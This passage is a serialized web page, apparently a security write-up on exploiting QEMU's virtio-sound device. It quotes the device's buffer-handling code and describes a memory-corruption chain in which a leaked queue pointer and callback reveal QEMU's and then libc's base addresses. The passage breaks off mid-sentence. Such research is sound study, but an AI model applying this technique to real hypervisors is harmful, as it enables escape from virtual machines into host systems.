[...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[132415],{"type":24,"tag":32,"props":132416,"children":132417},{"__ignoreMap":7},[132418,132461,132468,132499,132514,132529,132541,132554,132561,132568,132575,132586,132601,132608,132636,132655,132666,132673,132681,132718,132739,132751,132764,132777,132803,132815,132822,132860,132867,132874,132881,132912,132967,132979,133020,133043,133072,133099,133126,133158],{"type":24,"tag":90,"props":132419,"children":132420},{"class":92,"line":93},[132421,132425,132429,132433,132437,132441,132445,132449,132453,132457],{"type":24,"tag":90,"props":132422,"children":132423},{"style":97},[132424],{"type":29,"value":52868},{"type":24,"tag":90,"props":132426,"children":132427},{"style":97},[132428],{"type":29,"value":52873},{"type":24,"tag":90,"props":132430,"children":132431},{"style":108},[132432],{"type":29,"value":125674},{"type":24,"tag":90,"props":132434,"children":132435},{"style":114},[132436],{"type":29,"value":125679},{"type":24,"tag":90,"props":132438,"children":132439},{"style":120},[132440],{"type":29,"value":983},{"type":24,"tag":90,"props":132442,"children":132443},{"style":136},[132444],{"type":29,"value":125688},{"type":24,"tag":90,"props":132446,"children":132447},{"style":114},[132448],{"type":29,"value":125693},{"type":24,"tag":90,"props":132450,"children":132451},{"style":120},[132452],{"type":29,"value":983},{"type":24,"tag":90,"props":132454,"children":132455},{"style":136},[132456],{"type":29,"value":125702},{"type":24,"tag":90,"props":132458,"children":132459},{"style":114},[132460],{"type":29,"value":1686},{"type":24,"tag":90,"props":132462,"children":132463},{"class":92,"line":200},[132464],{"type":24,"tag":90,"props":132465,"children":132466},{"style":114},[132467],{"type":29,"value":2221},{"type":24,"tag":90,"props":132469,"children":132470},{"class":92,"line":239},[132471,132476,132480,132485,132489,132494],{"type":24,"tag":90,"props":132472,"children":132473},{"style":114},[132474],{"type":29,"value":132475}," VirtIOSound ",{"type":24,"tag":90,"props":132477,"children":132478},{"style":120},[132479],{"type":29,"value":983},{"type":24,"tag":90,"props":132481,"children":132482},{"style":114},[132483],{"type":29,"value":132484},"vsnd ",{"type":24,"tag":90,"props":132486,"children":132487},{"style":120},[132488],{"type":29,"value":5491},{"type":24,"tag":90,"props":132490,"children":132491},{"style":108},[132492],{"type":29,"value":132493}," VIRTIO_SND",{"type":24,"tag":90,"props":132495,"children":132496},{"style":114},[132497],{"type":29,"value":132498},"(vdev);\n",{"type":24,"tag":90,"props":132500,"children":132501},{"class":92,"line":248},[132502,132506,132510],{"type":24,"tag":90,"props":132503,"children":132504},{"style":114},[132505],{"type":29,"value":126692},{"type":24,"tag":90,"props":132507,"children":132508},{"style":120},[132509],{"type":29,"value":983},{"type":24,"tag":90,"props":132511,"children":132512},{"style":114},[132513],{"type":29,"value":126701},{"type":24,"tag":90,"props":132515,"children":132516},{"class":92,"line":258},[132517,132521,132525],{"type":24,"tag":90,"props":132518,"children":132519},{"style":114},[132520],{"type":29,"value":125721},{"type":24,"tag":90,"props":132522,"children":132523},{"style":120},[132524],{"type":29,"value":983},{"type":24,"tag":90,"props":132526,"children":132527},{"style":114},[132528],{"type":29,"value":125730},{"type":24,"tag":90,"props":132530,"children":132531},{"class":92,"line":272},[132532,132536],{"type":24,"tag":90,"props":132533,"children":132534},{"style":97},[132535],{"type":29,"value":3080},{"type":24,"tag":90,"props":132537,"children":132538},{"style":114},[132539],{"type":29,"value":132540}," msg_sz, size;\n",{"type":24,"tag":90,"props":132542,"children":132543},{"class":92,"line":281},[132544,132549],{"type":24,"tag":90,"props":132545,"children":132546},{"style":97},[132547],{"type":29,"value":132548}," uint32_t",{"type":24,"tag":90,"props":132550,"children":132551},{"style":114},[132552],{"type":29,"value":132553}," stream_id;\n",{"type":24,"tag":90,"props":132555,"children":132556},{"class":92,"line":384},[132557],{"type":24,"tag":90,"props":132558,"children":132559},{"emptyLinePlaceholder":16},[132560],{"type":29,"value":245},{"type":24,"tag":90,"props":132562,"children":132563},{"class":92,"line":420},[132564],{"type":24,"tag":90,"props":132565,"children":132566},{"style":114},[132567],{"type":29,"value":106631},{"type":24,"tag":90,"props":132569,"children":132570},{"class":92,"line":428},[132571],{"type":24,"tag":90,"props":132572,"children":132573},{"emptyLinePlaceholder":16},[132574],{"type":29,"value":245},{"type":24,"tag":90,"props":132576,"children":132577},{"class":92,"line":437},[132578,132582],{"type":24,"tag":90,"props":132579,"children":132580},{"style":636},[132581],{"type":29,"value":5434},{"type":24,"tag":90,"props":132583,"children":132584},{"style":114},[132585],{"type":29,"value":125756},{"type":24,"tag":90,"props":132587,"children":132588},{"class":92,"line":574},[132589,132593,132597],{"type":24,"tag":90,"props":132590,"children":132591},{"style":114},[132592],{"type":29,"value":125764},{"type":24,"tag":90,"props":132594,"children":132595},{"style":120},[132596],{"type":29,"value":983},{"type":24,"tag":90,"props":132598,"children":132599},{"style":114},[132600],{"type":29,"value":125773},{"type":24,"tag":90,"props":132602,"children":132603},{"class":92,"line":606},[132604],{"type":24,"tag":90,"props":132605,"children":132606},{"emptyLinePlaceholder":16},[132607],{"type":29,"value":245},{"type":24,"tag":90,"props":132609,"children":132610},{"class":92,"line":615},[132611,132615,132619,132623,132627,132631],{"type":24,"tag":90,"props":132612,"children":132613},{"style":114},[132614],{"type":29,"value":125788},{"type":24,"tag":90,"props":132616,"children":132617},{"style":120},[132618],{"type":29,"value":5491},{"type":24,"tag":90,"props":132620,"children":132621},{"style":108},[132622],{"type":29,"value":125797},{"type":24,"tag":90,"props":132624,"children":132625},{"style":114},[132626],{"type":29,"value":125802},{"type":24,"tag":90,"props":132628,"children":132629},{"style":97},[132630],{"type":29,"value":57152},{"type":24,"tag":90,"props":132632,"children":132633},{"style":114},[132634],{"type":29,"value":132635},"(VirtQueueElement));\n",{"type":24,"tag":90,"props":132637,"children":132638},{"class":92,"line":623},[132639,132643,132647,132651],{"type":24,"tag":90,"props":132640,"children":132641},{"style":636},[132642],{"type":29,"value":5667},{"type":24,"tag":90,"props":132644,"children":132645},{"style":114},[132646],{"type":29,"value":1151},{"type":24,"tag":90,"props":132648,"children":132649},{"style":120},[132650],{"type":29,"value":22417},{"type":24,"tag":90,"props":132652,"children":132653},{"style":114},[132654],{"type":29,"value":125836},{"type":24,"tag":90,"props":132656,"children":132657},{"class":92,"line":632},[132658,132662],{"type":24,"tag":90,"props":132659,"children":132660},{"style":636},[132661],{"type":29,"value":5692},{"type":24,"tag":90,"props":132663,"children":132664},{"style":114},[132665],{"type":29,"value":381},{"type":24,"tag":90,"props":132667,"children":132668},{"class":92,"line":669},[132669],{"type":24,"tag":90,"props":132670,"children":132671},{"style":114},[132672],{"type":29,"value":5740},{"type":24,"tag":90,"props":132674,"children":132675},{"class":92,"line":683},[132676],{"type":24,"tag":90,"props":132677,"children":132678},{"style":252},[132679],{"type":29,"value":132680}," /* get the message hdr object */\n",{"type":24,"tag":90,"props":132682,"children":132683},{"class":92,"line":737},[132684,132689,132693,132698,132702,132706,132710,132714],{"type":24,"tag":90,"props":132685,"children":132686},{"style":114},[132687],{"type":29,"value":132688}," msg_sz ",{"type":24,"tag":90,"props":132690,"children":132691},{"style":120},[132692],{"type":29,"value":5491},{"type":24,"tag":90,"props":132694,"children":132695},{"style":108},[132696],{"type":29,"value":132697}," iov_to_buf",{"type":24,"tag":90,"props":132699,"children":132700},{"style":114},[132701],{"type":29,"value":117},{"type":24,"tag":90,"props":132703,"children":132704},{"style":136},[132705],{"type":29,"value":53888},{"type":24,"tag":90,"props":132707,"children":132708},{"style":114},[132709],{"type":29,"value":177},{"type":24,"tag":90,"props":132711,"children":132712},{"style":136},[132713],{"type":29,"value":126240},{"type":24,"tag":90,"props":132715,"children":132716},{"style":114},[132717],{"type":29,"value":748},{"type":24,"tag":90,"props":132719,"children":132720},{"class":92,"line":751},[132721,132726,132730,132735],{"type":24,"tag":90,"props":132722,"children":132723},{"style":136},[132724],{"type":29,"value":132725}," elem",{"type":24,"tag":90,"props":132727,"children":132728},{"style":114},[132729],{"type":29,"value":177},{"type":24,"tag":90,"props":132731,"children":132732},{"style":136},[132733],{"type":29,"value":132734},"out_num",{"type":24,"tag":90,"props":132736,"children":132737},{"style":114},[132738],{"type":29,"value":748},{"type":24,"tag":90,"props":132740,"children":132741},{"class":92,"line":782},[132742,132747],{"type":24,"tag":90,"props":132743,"children":132744},{"style":349},[132745],{"type":29,"value":132746}," 0",{"type":24,"tag":90,"props":132748,"children":132749},{"style":114},[132750],{"type":29,"value":748},{"type":24,"tag":90,"props":132752,"children":132753},{"class":92,"line":791},[132754,132759],{"type":24,"tag":90,"props":132755,"children":132756},{"style":120},[132757],{"type":29,"value":132758}," &",{"type":24,"tag":90,"props":132760,"children":132761},{"style":114},[132762],{"type":29,"value":132763},"hdr,\n",{"type":24,"tag":90,"props":132765,"children":132766},{"class":92,"line":799},[132767,132772],{"type":24,"tag":90,"props":132768,"children":132769},{"style":97},[132770],{"type":29,"value":132771}," sizeof",{"type":24,"tag":90,"props":132773,"children":132774},{"style":114},[132775],{"type":29,"value":132776},"(virtio_snd_pcm_xfer));\n",{"type":24,"tag":90,"props":132778,"children":132779},{"class":92,"line":807},[132780,132784,132789,132793,132798],{"type":24,"tag":90,"props":132781,"children":132782},{"style":636},[132783],{"type":29,"value":5667},{"type":24,"tag":90,"props":132785,"children":132786},{"style":114},[132787],{"type":29,"value":132788}," (msg_sz ",{"type":24,"tag":90,"props":132790,"children":132791},{"style":120},[132792],{"type":29,"value":2196},{"type":24,"tag":90,"props":132794,"children":132795},{"style":97},[132796],{"type":29,"value":132797}," sizeof",{"type":24,"tag":90,"props":132799,"children":132800},{"style":114},[132801],{"type":29,"value":132802},"(virtio_snd_pcm_xfer)) {\n",{"type":24,"tag":90,"props":132804,"children":132805},{"class":92,"line":821},[132806,132810],{"type":24,"tag":90,"props":132807,"children":132808},{"style":636},[132809],{"type":29,"value":62375},{"type":24,"tag":90,"props":132811,"children":132812},{"style":114},[132813],{"type":29,"value":132814}," rx_err;\n",{"type":24,"tag":90,"props":132816,"children":132817},{"class":92,"line":6278},[132818],{"type":24,"tag":90,"props":132819,"children":132820},{"style":114},[132821],{"type":29,"value":5740},{"type":24,"tag":90,"props":132823,"children":132824},{"class":92,"line":11420},[132825,132830,132834,132838,132842,132847,132851,132856],{"type":24,"tag":90,"props":132826,"children":132827},{"style":114},[132828],{"type":29,"value":132829}," stream_id ",{"type":24,"tag":90,"props":132831,"children":132832},{"style":120},[132833],{"type":29,"value":5491},{"type":24,"tag":90,"props":132835,"children":132836},{"style":108},[132837],{"type":29,"value":127702},{"type":24,"tag":90,"props":132839,"children":132840},{"style":114},[132841],{"type":29,"value":117},{"type":24,"tag":90,"props":132843,"children":132844},{"style":136},[132845],{"type":29,"value":132846},"hdr",{"type":24,"tag":90,"props":132848,"children":132849},{"style":114},[132850],{"type":29,"value":226},{"type":24,"tag":90,"props":132852,"children":132853},{"style":136},[132854],{"type":29,"value":132855},"stream_id",{"type":24,"tag":90,"props":132857,"children":132858},{"style":114},[132859],{"type":29,"value":571},{"type":24,"tag":90,"props":132861,"children":132862},{"class":92,"line":11438},[132863],{"type":24,"tag":90,"props":132864,"children":132865},{"emptyLinePlaceholder":16},[132866],{"type":29,"value":245},{"type":24,"tag":90,"props":132868,"children":132869},{"class":92,"line":11483},[132870],{"type":24,"tag":90,"props":132871,"children":132872},{"style":114},[132873],{"type":29,"value":125869},{"type":24,"tag":90,"props":132875,"children":132876},{"class":92,"line":11589},[132877],{"type":24,"tag":90,"props":132878,"children":132879},{"emptyLinePlaceholder":16},[132880],{"type":29,"value":245},{"type":24,"tag":90,"props":132882,"children":132883},{"class":92,"line":25306},[132884,132888,132892,132896,132900,132904,132908],{"type":24,"tag":90,"props":132885,"children":132886},{"style":108},[132887],{"type":29,"value":125884},{"type":24,"tag":90,"props":132889,"children":132890},{"style":114},[132891],{"type":29,"value":117},{"type":24,"tag":90,"props":132893,"children":132894},{"style":120},[132895],{"type":29,"value":123},{"type":24,"tag":90,"props":132897,"children":132898},{"style":136},[132899],{"type":29,"value":38077},{"type":24,"tag":90,"props":132901,"children":132902},{"style":114},[132903],{"type":29,"value":177},{"type":24,"tag":90,"props":132905,"children":132906},{"style":136},[132907],{"type":29,"value":125905},{"type":24,"tag":90,"props":132909,"children":132910},{"style":114},[132911],{"type":29,"value":1297},{"type":24,"tag":90,"props":132913,"children":132914},{"class":92,"line":25341},[132915,132919,132923,132927,132931,132935,132939,132943,132947,132951,132955,132959,132963],{"type":24,"tag":90,"props":132916,"children":132917},{"style":114},[132918],{"type":29,"value":125917},{"type":24,"tag":90,"props":132920,"children":132921},{"style":120},[132922],{"type":29,"value":5491},{"type":24,"tag":90,"props":132924,"children":132925},{"style":108},[132926],{"type":29,"value":125926},{"type":24,"tag":90,"props":132928,"children":132929},{"style":114},[132930],{"type":29,"value":117},{"type":24,"tag":90,"props":132932,"children":132933},{"style":136},[132934],{"type":29,"value":53888},{"type":24,"tag":90,"props":132936,"children":132937},{"style":114},[132938],{"type":29,"value":177},{"type":24,"tag":90,"props":132940,"children":132941},{"style":136},[132942],{"type":29,"value":125943},{"type":24,"tag":90,"props":132944,"children":132945},{"style":114},[132946],{"type":29,"value":133},{"type":24,"tag":90,"props":132948,"children":132949},{"style":136},[132950],{"type":29,"value":53888},{"type":24,"tag":90,"props":132952,"children":132953},{"style":114},[132954],{"type":29,"value":177},{"type":24,"tag":90,"props":132956,"children":132957},{"style":136},[132958],{"type":29,"value":125960},{"type":24,"tag":90,"props":132960,"children":132961},{"style":114},[132962],{"type":29,"value":172},{"type":24,"tag":90,"props":132964,"children":132965},{"style":120},[132966],{"type":29,"value":52685},{"type":24,"tag":90,"props":132968,"children":132969},{"class":92,"line":25349},[132970,132974],{"type":24,"tag":90,"props":132971,"children":132972},{"style":97},[132973],{"type":29,"value":125976},{"type":24,"tag":90,"props":132975,"children":132976},{"style":114},[132977],{"type":29,"value":132978},"(virtio_snd_pcm_status);\n",{"type":24,"tag":90,"props":132980,"children":132981},{"class":92,"line":25357},[132982,132986,132990,132994,132998,133002,133006,133010,133015],{"type":24,"tag":90,"props":132983,"children":132984},{"style":114},[132985],{"type":29,"value":125994},{"type":24,"tag":90,"props":132987,"children":132988},{"style":120},[132989],{"type":29,"value":5491},{"type":24,"tag":90,"props":132991,"children":132992},{"style":108},[132993],{"type":29,"value":126003},{"type":24,"tag":90,"props":132995,"children":132996},{"style":114},[132997],{"type":29,"value":117},{"type":24,"tag":90,"props":132999,"children":133000},{"style":97},[133001],{"type":29,"value":57152},{"type":24,"tag":90,"props":133003,"children":133004},{"style":114},[133005],{"type":29,"value":126016},{"type":24,"tag":90,"props":133007,"children":133008},{"style":120},[133009],{"type":29,"value":6767},{"type":24,"tag":90,"props":133011,"children":133012},{"style":114},[133013],{"type":29,"value":133014}," size);",{"type":24,"tag":90,"props":133016,"children":133017},{"style":252},[133018],{"type":29,"value":133019}," // [1]\n",{"type":24,"tag":90,"props":133021,"children":133022},{"class":92,"line":25366},[133023,133027,133031,133035,133039],{"type":24,"tag":90,"props":133024,"children":133025},{"style":136},[133026],{"type":29,"value":126033},{"type":24,"tag":90,"props":133028,"children":133029},{"style":114},[133030],{"type":29,"value":177},{"type":24,"tag":90,"props":133032,"children":133033},{"style":136},[133034],{"type":29,"value":53888},{"type":24,"tag":90,"props":133036,"children":133037},{"style":120},[133038],{"type":29,"value":216},{"type":24,"tag":90,"props":133040,"children":133041},{"style":114},[133042],{"type":29,"value":126050},{"type":24,"tag":90,"props":133044,"children":133045},{"class":92,"line":25408},[133046,133050,133054,133058,133062,133067],{"type":24,"tag":90,"props":133047,"children":133048},{"style":136},[133049],{"type":29,"value":126033},{"type":24,"tag":90,"props":133051,"children":133052},{"style":114},[133053],{"type":29,"value":177},{"type":24,"tag":90,"props":133055,"children":133056},{"style":136},[133057],{"type":29,"value":125702},{"type":24,"tag":90,"props":133059,"children":133060},{"style":120},[133061],{"type":29,"value":216},{"type":24,"tag":90,"props":133063,"children":133064},{"style":114},[133065],{"type":29,"value":133066}," vq;",{"type":24,"tag":90,"props":133068,"children":133069},{"style":252},[133070],{"type":29,"value":133071}," // [2]\n",{"type":24,"tag":90,"props":133073,"children":133074},{"class":92,"line":25441},[133075,133079,133083,133087,133091,133095],{"type":24,"tag":90,"props":133076,"children":133077},{"style":136},[133078],{"type":29,"value":126033},{"type":24,"tag":90,"props":133080,"children":133081},{"style":114},[133082],{"type":29,"value":177},{"type":24,"tag":90,"props":133084,"children":133085},{"style":136},[133086],{"type":29,"value":126090},{"type":24,"tag":90,"props":133088,"children":133089},{"style":120},[133090],{"type":29,"value":216},{"type":24,"tag":90,"props":133092,"children":133093},{"style":349},[133094],{"type":29,"value":5448},{"type":24,"tag":90,"props":133096,"children":133097},{"style":114},[133098],{"type":29,"value":381},{"type":24,"tag":90,"props":133100,"children":133101},{"class":92,"line":25449},[133102,133106,133110,133114,133118,133122],{"type":24,"tag":90,"props":133103,"children":133104},{"style":136},[133105],{"type":29,"value":126033},{"type":24,"tag":90,"props":133107,"children":133108},{"style":114},[133109],{"type":29,"value":177},{"type":24,"tag":90,"props":133111,"children":133112},{"style":136},[133113],{"type":29,"value":337},{"type":24,"tag":90,"props":133115,"children":133116},{"style":120},[133117],{"type":29,"value":216},{"type":24,"tag":90,"props":133119,"children":133120},{"style":349},[133121],{"type":29,"value":5448},{"type":24,"tag":90,"props":133123,"children":133124},{"style":114},[133125],{"type":29,"value":381},{"type":24,"tag":90,"props":133127,"children":133128},{"class":92,"line":25457},[133129,133133,133137,133141,133145,133149,133153],{"type":24,"tag":90,"props":133130,"children":133131},{"style":108},[133132],{"type":29,"value":126137},{"type":24,"tag":90,"props":133134,"children":133135},{"style":114},[133136],{"type":29,"value":117},{"type":24,"tag":90,"props":133138,"children":133139},{"style":120},[133140],{"type":29,"value":123},{"type":24,"tag":90,"props":133142,"children":133143},{"style":136},[133144],{"type":29,"value":38077},{"type":24,"tag":90,"props":133146,"children":133147},{"style":114},[133148],{"type":29,"value":177},{"type":24,"tag":90,"props":133150,"children":133151},{"style":136},[133152],{"type":29,"value":126158},{"type":24,"tag":90,"props":133154,"children":133155},{"style":114},[133156],{"type":29,"value":133157},", buffer, entry);\n",{"type":24,"tag":90,"props":133159,"children":133160},{"class":92,"line":25466},[133161],{"type":24,"tag":90,"props":133162,"children":133163},{"style":114},[133164],{"type":29,"value":5740},{"type":24,"tag":25,"props":133166,"children":133167},{},[133168,133169,133174,133176,133181,133183,133188,133190,133196],{"type":29,"value":126212},{"type":24,"tag":32,"props":133170,"children":133172},{"className":133171},[],[133173],{"type":29,"value":126218},{"type":29,"value":133175},", QEMU allocates a ",{"type":24,"tag":32,"props":133177,"children":133179},{"className":133178},[],[133180],{"type":29,"value":126355},{"type":29,"value":133182}," whose size depends on the guest-provided iovec, and at ",{"type":24,"tag":32,"props":133184,"children":133186},{"className":133185},[],[133187],{"type":29,"value":126253},{"type":29,"value":133189}," it stores the ",{"type":24,"tag":32,"props":133191,"children":133193},{"className":133192},[],[133194],{"type":29,"value":133195},"VirtQueue *vq",{"type":29,"value":133197}," pointer into the buffer.",{"type":24,"tag":25,"props":133199,"children":133200},{},[133201,133202,133208],{"type":29,"value":66043},{"type":24,"tag":32,"props":133203,"children":133205},{"className":133204},[],[133206],{"type":29,"value":133207},"VirtQueue",{"type":29,"value":133209}," structure contains some useful fields:",{"type":24,"tag":80,"props":133211,"children":133213},{"code":133212,"language":3030,"meta":7,"className":3028,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[133214],{"type":24,"tag":32,"props":133215,"children":133216},{"__ignoreMap":7},[133217,133229,133236,133243,133250,133258,133275,133282,133289],{"type":24,"tag":90,"props":133218,"children":133219},{"class":92,"line":93},[133220,133224],{"type":24,"tag":90,"props":133221,"children":133222},{"style":97},[133223],{"type":29,"value":3050},{"type":24,"tag":90,"props":133225,"children":133226},{"style":114},[133227],{"type":29,"value":133228}," VirtQueue\n",{"type":24,"tag":90,"props":133230,"children":133231},{"class":92,"line":200},[133232],{"type":24,"tag":90,"props":133233,"children":133234},{"style":114},[133235],{"type":29,"value":2221},{"type":24,"tag":90,"props":133237,"children":133238},{"class":92,"line":239},[133239],{"type":24,"tag":90,"props":133240,"children":133241},{"style":114},[133242],{"type":29,"value":106631},{"type":24,"tag":90,"props":133244,"children":133245},{"class":92,"line":248},[133246],{"type":24,"tag":90,"props":133247,"children":133248},{"emptyLinePlaceholder":16},[133249],{"type":29,"value":245},{"type":24,"tag":90,"props":133251,"children":133252},{"class":92,"line":258},[133253],{"type":24,"tag":90,"props":133254,"children":133255},{"style":114},[133256],{"type":29,"value":133257}," VirtIOHandleOutput handle_output;\n",{"type":24,"tag":90,"props":133259,"children":133260},{"class":92,"line":272},[133261,133266,133270],{"type":24,"tag":90,"props":133262,"children":133263},{"style":114},[133264],{"type":29,"value":133265}," VirtIODevice ",{"type":24,"tag":90,"props":133267,"children":133268},{"style":120},[133269],{"type":29,"value":983},{"type":24,"tag":90,"props":133271,"children":133272},{"style":114},[133273],{"type":29,"value":133274},"vdev;\n",{"type":24,"tag":90,"props":133276,"children":133277},{"class":92,"line":281},[133278],{"type":24,"tag":90,"props":133279,"children":133280},{"emptyLinePlaceholder":16},[133281],{"type":29,"value":245},{"type":24,"tag":90,"props":133283,"children":133284},{"class":92,"line":384},[133285],{"type":24,"tag":90,"props":133286,"children":133287},{"style":114},[133288],{"type":29,"value":106631},{"type":24,"tag":90,"props":133290,"children":133291},{"class":92,"line":420},[133292],{"type":24,"tag":90,"props":133293,"children":133294},{"style":114},[133295],{"type":29,"value":3093},{"type":24,"tag":25,"props":133297,"children":133298},{},[133299,133300,133306,133308,133314],{"type":29,"value":3131},{"type":24,"tag":32,"props":133301,"children":133303},{"className":133302},[],[133304],{"type":29,"value":133305},".handle_output",{"type":29,"value":133307}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":24,"tag":32,"props":133309,"children":133311},{"className":133310},[],[133312],{"type":29,"value":133313},".vdev",{"type":29,"value":133315}," is the pointer passed to it as the first argument:",{"type":24,"tag":80,"props":133317,"children":133319},{"code":133318,"language":3030,"meta":7,"className":3028,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[133320],{"type":24,"tag":32,"props":133321,"children":133322},{"__ignoreMap":7},[133323,133356,133363,133418,133455,133462,133469,133476,133497,133504,133511,133518],{"type":24,"tag":90,"props":133324,"children":133325},{"class":92,"line":93},[133326,133330,133334,133339,133344,133348,133352],{"type":24,"tag":90,"props":133327,"children":133328},{"style":97},[133329],{"type":29,"value":52868},{"type":24,"tag":90,"props":133331,"children":133332},{"style":97},[133333],{"type":29,"value":52873},{"type":24,"tag":90,"props":133335,"children":133336},{"style":108},[133337],{"type":29,"value":133338}," virtio_queue_notify_vq",{"type":24,"tag":90,"props":133340,"children":133341},{"style":114},[133342],{"type":29,"value":133343},"(VirtQueue ",{"type":24,"tag":90,"props":133345,"children":133346},{"style":120},[133347],{"type":29,"value":983},{"type":24,"tag":90,"props":133349,"children":133350},{"style":136},[133351],{"type":29,"value":125702},{"type":24,"tag":90,"props":133353,"children":133354},{"style":114},[133355],{"type":29,"value":1686},{"type":24,"tag":90,"props":133357,"children":133358},{"class":92,"line":200},[133359],{"type":24,"tag":90,"props":133360,"children":133361},{"style":114},[133362],{"type":29,"value":2221},{"type":24,"tag":90,"props":133364,"children":133365},{"class":92,"line":239},[133366,133370,133374,133378,133382,133387,133391,133396,133400,133405,133409,133414],{"type":24,"tag":90,"props":133367,"children":133368},{"style":636},[133369],{"type":29,"value":639},{"type":24,"tag":90,"props":133371,"children":133372},{"style":114},[133373],{"type":29,"value":1151},{"type":24,"tag":90,"props":133375,"children":133376},{"style":136},[133377],{"type":29,"value":125702},{"type":24,"tag":90,"props":133379,"children":133380},{"style":114},[133381],{"type":29,"value":177},{"type":24,"tag":90,"props":133383,"children":133384},{"style":136},[133385],{"type":29,"value":133386},"vring",{"type":24,"tag":90,"props":133388,"children":133389},{"style":114},[133390],{"type":29,"value":226},{"type":24,"tag":90,"props":133392,"children":133393},{"style":136},[133394],{"type":29,"value":133395},"desc",{"type":24,"tag":90,"props":133397,"children":133398},{"style":120},[133399],{"type":29,"value":649},{"type":24,"tag":90,"props":133401,"children":133402},{"style":136},[133403],{"type":29,"value":133404}," vq",{"type":24,"tag":90,"props":133406,"children":133407},{"style":114},[133408],{"type":29,"value":177},{"type":24,"tag":90,"props":133410,"children":133411},{"style":136},[133412],{"type":29,"value":133413},"handle_output",{"type":24,"tag":90,"props":133415,"children":133416},{"style":114},[133417],{"type":29,"value":1297},{"type":24,"tag":90,"props":133419,"children":133420},{"class":92,"line":248},[133421,133426,133430,133435,133439,133443,133447,133451],{"type":24,"tag":90,"props":133422,"children":133423},{"style":114},[133424],{"type":29,"value":133425}," VirtIODevice ",{"type":24,"tag":90,"props":133427,"children":133428},{"style":120},[133429],{"type":29,"value":983},{"type":24,"tag":90,"props":133431,"children":133432},{"style":114},[133433],{"type":29,"value":133434},"vdev ",{"type":24,"tag":90,"props":133436,"children":133437},{"style":120},[133438],{"type":29,"value":5491},{"type":24,"tag":90,"props":133440,"children":133441},{"style":136},[133442],{"type":29,"value":133404},{"type":24,"tag":90,"props":133444,"children":133445},{"style":114},[133446],{"type":29,"value":177},{"type":24,"tag":90,"props":133448,"children":133449},{"style":136},[133450],{"type":29,"value":125688},{"type":24,"tag":90,"props":133452,"children":133453},{"style":114},[133454],{"type":29,"value":381},{"type":24,"tag":90,"props":133456,"children":133457},{"class":92,"line":258},[133458],{"type":24,"tag":90,"props":133459,"children":133460},{"emptyLinePlaceholder":16},[133461],{"type":29,"value":245},{"type":24,"tag":90,"props":133463,"children":133464},{"class":92,"line":272},[133465],{"type":24,"tag":90,"props":133466,"children":133467},{"style":114},[133468],{"type":29,"value":125869},{"type":24,"tag":90,"props":133470,"children":133471},{"class":92,"line":281},[133472],{"type":24,"tag":90,"props":133473,"children":133474},{"emptyLinePlaceholder":16},[133475],{"type":29,"value":245},{"type":24,"tag":90,"props":133477,"children":133478},{"class":92,"line":384},[133479,133484,133488,133492],{"type":24,"tag":90,"props":133480,"children":133481},{"style":136},[133482],{"type":29,"value":133483}," vq",{"type":24,"tag":90,"props":133485,"children":133486},{"style":114},[133487],{"type":29,"value":177},{"type":24,"tag":90,"props":133489,"children":133490},{"style":108},[133491],{"type":29,"value":133413},{"type":24,"tag":90,"props":133493,"children":133494},{"style":114},[133495],{"type":29,"value":133496},"(vdev, vq);\n",{"type":24,"tag":90,"props":133498,"children":133499},{"class":92,"line":420},[133500],{"type":24,"tag":90,"props":133501,"children":133502},{"emptyLinePlaceholder":16},[133503],{"type":29,"value":245},{"type":24,"tag":90,"props":133505,"children":133506},{"class":92,"line":428},[133507],{"type":24,"tag":90,"props":133508,"children":133509},{"style":114},[133510],{"type":29,"value":125869},{"type":24,"tag":90,"props":133512,"children":133513},{"class":92,"line":437},[133514],{"type":24,"tag":90,"props":133515,"children":133516},{"style":114},[133517],{"type":29,"value":612},{"type":24,"tag":90,"props":133519,"children":133520},{"class":92,"line":574},[133521],{"type":24,"tag":90,"props":133522,"children":133523},{"style":114},[133524],{"type":29,"value":827},{"type":24,"tag":25,"props":133526,"children":133527},{},[133528,133530,133535,133537,133542,133544,133550,133552,133557,133558,133563,133565,133570],{"type":29,"value":133529},"This means that if we free the known-address chunk and replace it with a ",{"type":24,"tag":32,"props":133531,"children":133533},{"className":133532},[],[133534],{"type":29,"value":126355},{"type":29,"value":133536}," - which is straightforward, since we control the buffer allocation size through the ",{"type":24,"tag":32,"props":133538,"children":133540},{"className":133539},[],[133541],{"type":29,"value":125943},{"type":29,"value":133543}," iovec - we can use the arbitrary read primitive to read its ",{"type":24,"tag":32,"props":133545,"children":133547},{"className":133546},[],[133548],{"type":29,"value":133549},".vq",{"type":29,"value":133551}," pointer, then follow that pointer to leak ",{"type":24,"tag":32,"props":133553,"children":133555},{"className":133554},[],[133556],{"type":29,"value":133305},{"type":29,"value":2563},{"type":24,"tag":32,"props":133559,"children":133561},{"className":133560},[],[133562],{"type":29,"value":133207},{"type":29,"value":133564}," structure. In our case, that field points to ",{"type":24,"tag":32,"props":133566,"children":133568},{"className":133567},[],[133569],{"type":29,"value":125595},{"type":29,"value":133571},", which gives us QEMU's base address.",{"type":24,"tag":25,"props":133573,"children":133574},{},[133575,133577,133583],{"type":29,"value":133576},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of 